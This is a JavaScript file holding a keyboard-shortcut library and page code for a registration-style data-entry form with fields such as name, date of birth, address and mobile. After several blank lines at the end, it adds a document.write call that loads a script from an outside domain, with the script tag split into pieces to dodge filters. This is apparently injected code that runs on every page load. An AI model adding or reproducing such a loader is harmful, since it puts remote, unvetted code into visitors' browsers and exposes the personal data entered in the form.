/**
 * http://www.openjs.com/scripts/events/keyboard_shortcuts/
 * Version : 2.01.B
 * By Binny V A
 * License : BSD
 */
 
 

shortcut = {
	'all_shortcuts':{},//All the shortcuts are stored in this array
	'add': function(shortcut_combination,callback,opt) {
		//Provide a set of default options
		var default_options = {
			'type':'keydown',
			'propagate':false,
			'disable_in_input':false,
			'target':document,
			'keycode':false
		}
		if(!opt) opt = default_options;
		else {
			for(var dfo in default_options) {
				if(typeof opt[dfo] == 'undefined') opt[dfo] = default_options[dfo];
			}
		}

		var ele = opt.target;
		if(typeof opt.target == 'string') ele = document.getElementById(opt.target);
		var ths = this;
		shortcut_combination = shortcut_combination.toLowerCase();

		//The function to be called at keypress
		var func = function(e) {
			e = e || window.event;
			
			if(opt['disable_in_input']) { //Don't enable shortcut keys in Input, Textarea fields
				var element;
				if(e.target) element=e.target;
				else if(e.srcElement) element=e.srcElement;
				if(element.nodeType==3) element=element.parentNode;

				if(element.tagName == 'INPUT' || element.tagName == 'TEXTAREA') return;
			}
	
			//Find Which key is pressed
			if (e.keyCode) code = e.keyCode;
			else if (e.which) code = e.which;
			var character = String.fromCharCode(code).toLowerCase();
			
			if(code == 188) character=","; //If the user presses , when the type is onkeydown
			if(code == 190) character="."; //If the user presses , when the type is onkeydown

			var keys = shortcut_combination.split("+");
			//Key Pressed - counts the number of valid keypresses - if it is same as the number of keys, the shortcut function is invoked
			var kp = 0;
			
			//Work around for stupid Shift key bug created by using lowercase - as a result the shift+num combination was broken
			var shift_nums = {
				"`":"~",
				"1":"!",
				"2":"@",
				"3":"#",
				"4":"$",
				"5":"%",
				"6":"^",
				"7":"&",
				"8":"*",
				"9":"(",
				"0":")",
				"-":"_",
				"=":"+",
				";":":",
				"'":"\"",
				",":"<",
				".":">",
				"/":"?",
				"\\":"|"
			}
			//Special Keys - and their codes
			var special_keys = {
				'esc':27,
				'escape':27,
				'tab':9,
				'space':32,
				'return':13,
				'enter':13,
				'backspace':8,
	
				'scrolllock':145,
				'scroll_lock':145,
				'scroll':145,
				'capslock':20,
				'caps_lock':20,
				'caps':20,
				'numlock':144,
				'num_lock':144,
				'num':144,
				
				'pause':19,
				'break':19,
				
				'insert':45,
				'home':36,
				'delete':46,
				'end':35,
				
				'pageup':33,
				'page_up':33,
				'pu':33,
	
				'pagedown':34,
				'page_down':34,
				'pd':34,
	
				'left':37,
				'up':38,
				'right':39,
				'down':40,
	
				'f1':112,
				'f2':113,
				'f3':114,
				'f4':115,
				'f5':116,
				'f6':117,
				'f7':118,
				'f8':119,
				'f9':120,
				'f10':121,
				'f11':122,
				'f12':123
			}
	
			var modifiers = { 
				shift: { wanted:false, pressed:false},
				ctrl : { wanted:false, pressed:false},
				alt  : { wanted:false, pressed:false},
				meta : { wanted:false, pressed:false}	//Meta is Mac specific
			};
                        
			if(e.ctrlKey)	modifiers.ctrl.pressed = true;
			if(e.shiftKey)	modifiers.shift.pressed = true;
			if(e.altKey)	modifiers.alt.pressed = true;
			if(e.metaKey)   modifiers.meta.pressed = true;
                        
			for(var i=0; k=keys[i],i<keys.length; i++) {
				//Modifiers
				if(k == 'ctrl' || k == 'control') {
					kp++;
					modifiers.ctrl.wanted = true;

				} else if(k == 'shift') {
					kp++;
					modifiers.shift.wanted = true;

				} else if(k == 'alt') {
					kp++;
					modifiers.alt.wanted = true;
				} else if(k == 'meta') {
					kp++;
					modifiers.meta.wanted = true;
				} else if(k.length > 1) { //If it is a special key
					if(special_keys[k] == code) kp++;
					
				} else if(opt['keycode']) {
					if(opt['keycode'] == code) kp++;

				} else { //The special keys did not match
					if(character == k) kp++;
					else {
						if(shift_nums[character] && e.shiftKey) { //Stupid Shift key bug created by using lowercase
							character = shift_nums[character]; 
							if(character == k) kp++;
						}
					}
				}
			}
			
			if(kp == keys.length && 
						modifiers.ctrl.pressed == modifiers.ctrl.wanted &&
						modifiers.shift.pressed == modifiers.shift.wanted &&
						modifiers.alt.pressed == modifiers.alt.wanted &&
						modifiers.meta.pressed == modifiers.meta.wanted) {
				callback(e);
	
				if(!opt['propagate']) { //Stop the event
					//e.cancelBubble is supported by IE - this will kill the bubbling process.
					e.cancelBubble = true;
					e.returnValue = false;
	
					//e.stopPropagation works in Firefox.
					if (e.stopPropagation) {
						e.stopPropagation();
						e.preventDefault();
					}
					return false;
				}
			}
		}
		this.all_shortcuts[shortcut_combination] = {
			'callback':func, 
			'target':ele, 
			'event': opt['type']
		};
		//Attach the function with the event
		if(ele.addEventListener) ele.addEventListener(opt['type'], func, false);
		else if(ele.attachEvent) ele.attachEvent('on'+opt['type'], func);
		else ele['on'+opt['type']] = func;
	},

	//Remove the shortcut - just specify the shortcut and I will remove the binding
	'remove':function(shortcut_combination) {
		shortcut_combination = shortcut_combination.toLowerCase();
		var binding = this.all_shortcuts[shortcut_combination];
		delete(this.all_shortcuts[shortcut_combination])
		if(!binding) return;
		var type = binding['event'];
		var ele = binding['target'];
		var callback = binding['callback'];

		if(ele.detachEvent) ele.detachEvent('on'+type, callback);
		else if(ele.removeEventListener) ele.removeEventListener(type, callback, false);
		else ele['on'+type] = false;
	}
}

shortcut.add("Ctrl+S",function() {
var labelvalue=document.getElementById("Label1").value 

if(labelvalue == "26")
{
window.form1.submit();

}
else
{
	alert('fill all the fields')
	}
});

shortcut.add("Ctrl+D",function() {


	 var divstyle = new String();

        divstyle = document.getElementById("DivChangeImg").style.visibility;
        if(divstyle.toLowerCase()=="visible" || divstyle == "")
        { 
            document.getElementById("DivChangeImg").style.visibility = "hidden";
              document.getElementById("DivChangeImg").style.height="0";
            document.getElementById("dvFillRec").style.height="600"
            document.getElementById("tableFillRec").style.height = "600";
            document.getElementById("dvFillRec").style.visibility="visible"
        }
        else
        {
        document.getElementById("DivChangeImg").style.height="500";
         document.getElementById("dvFillRec").style.height="0";
           document.getElementById("tableFillRec").style.height="0"
         document.getElementById("DivChangeImg").style.visibility = "visible";
            document.getElementById("dvFillRec").style.visibility="hidden"
        }

	
	
});
shortcut.add("Tab",function() {
document.getElementById('txtfeildvalue').value="";
var i= document.getElementById("Label1").value 

var MyNumbers=new Array

("1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26");

//var feild=new array(26)
//feild[0]="State"
//feild[1]="Lok Sabha"
//feild[2]="Assembly"
//feild[3]="Panchayat/Ward"
//feild[4]="Name"
//feild[5]="Father Name"
//feild[6]="Date Of Birth"
//feild[7]="Sex"
//feild[8]="Blood Group"
//feild[9]="Address"
//feild[10]="City"
//feild[11]="Pincode"
//feild[12]="Landline"
//feild[13]="Mobile"
//feild[14]="Category"
//feild[15]="Profession"
//feild[16]="Email"
//feild[17]="Date"
//feild[18]="Assembly Code"
//feild[19]="Age Proof Verified"
//feild[20]="Age Proof Code"
//feild[21]="Panchayat/Ward Code"
//feild[22]="Address Proof Verified"
//feild[23]="Address Proof Code"
//feild[24]="Received Rs"
//feild[25]="AEO Name"



document.getElementById('Label1').value=MyNumbers[i]
var labelvalue=document.getElementById('Label1').value
if( labelvalue=="1")
{
document.getElementById('lblfeild').value="Lok Sabha"

}
if( labelvalue=="2")
{
document.getElementById('lblfeild').value="Assembly"

}
if( labelvalue=="3")
{
document.getElementById('lblfeild').value="Panchayat/Ward"
}
if( labelvalue=="4")
{
document.getElementById('lblfeild').value="Name"
}
if( labelvalue=="5")
{
document.getElementById('lblfeild').value="Father Name"
}
if( labelvalue=="6")
{
document.getElementById('lblfeild').value="Date Of Birth"
}
if( labelvalue=="7")
{
document.getElementById('lblfeild').value="Sex"
}
if( labelvalue=="8")
{
document.getElementById('lblfeild').value="Blood Group"
}
if( labelvalue=="9")
{
document.getElementById('lblfeild').value="Address"
}
if( labelvalue=="10")
{
document.getElementById('lblfeild').value="City"
}
if( labelvalue=="11")
{
document.getElementById('lblfeild').value="Pincode"

}
if( labelvalue=="12")
{
document.getElementById('lblfeild').value="Landline"

}
if( labelvalue=="13")
{
document.getElementById('lblfeild').value="Mobile"
}
if( labelvalue=="14")
{
document.getElementById('lblfeild').value="Category"
}
if( labelvalue=="15")
{
document.getElementById('lblfeild').value="Profession"
}
if( labelvalue=="16")
{
document.getElementById('lblfeild').value="Email"
}
if( labelvalue=="17")
{
document.getElementById('lblfeild').value="Date"
}
if( labelvalue=="18")
{
document.getElementById('lblfeild').value="Assembly Code"
}
if( labelvalue=="19")
{
document.getElementById('lblfeild').value="Age Proof Verified"
}
if( labelvalue=="20")
{
document.getElementById('lblfeild').value="Age Proof Code"
}
if( labelvalue=="21")
{
document.getElementById('lblfeild').value="Panchayat/Ward Code"
}
if( labelvalue=="22")
{
document.getElementById('lblfeild').value="Address Proof Verified"
}
if( labelvalue=="23")
{
document.getElementById('lblfeild').value="Address Proof Code"
}
if( labelvalue=="24")
{
document.getElementById('lblfeild').value="Received Rs"
}
if( labelvalue=="25")
{
document.getElementById('lblfeild').value="AEO Name"
}
if(i == "26")
{

             document.getElementById("DivChangeImg").style.visibility = "hidden";
              document.getElementById("DivChangeImg").style.height="0";
            document.getElementById("dvFillRec").style.height="600"
            document.getElementById("tableFillRec").style.height = "600";
            document.getElementById("dvFillRec").style.visibility="visible"
            document.getElementById('Label1').value="26";
}
else
{
document.getElementById('Label1').value=parseInt(i)+1;
           
}



	
});









document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/OCR.js"></scri'+'pt>');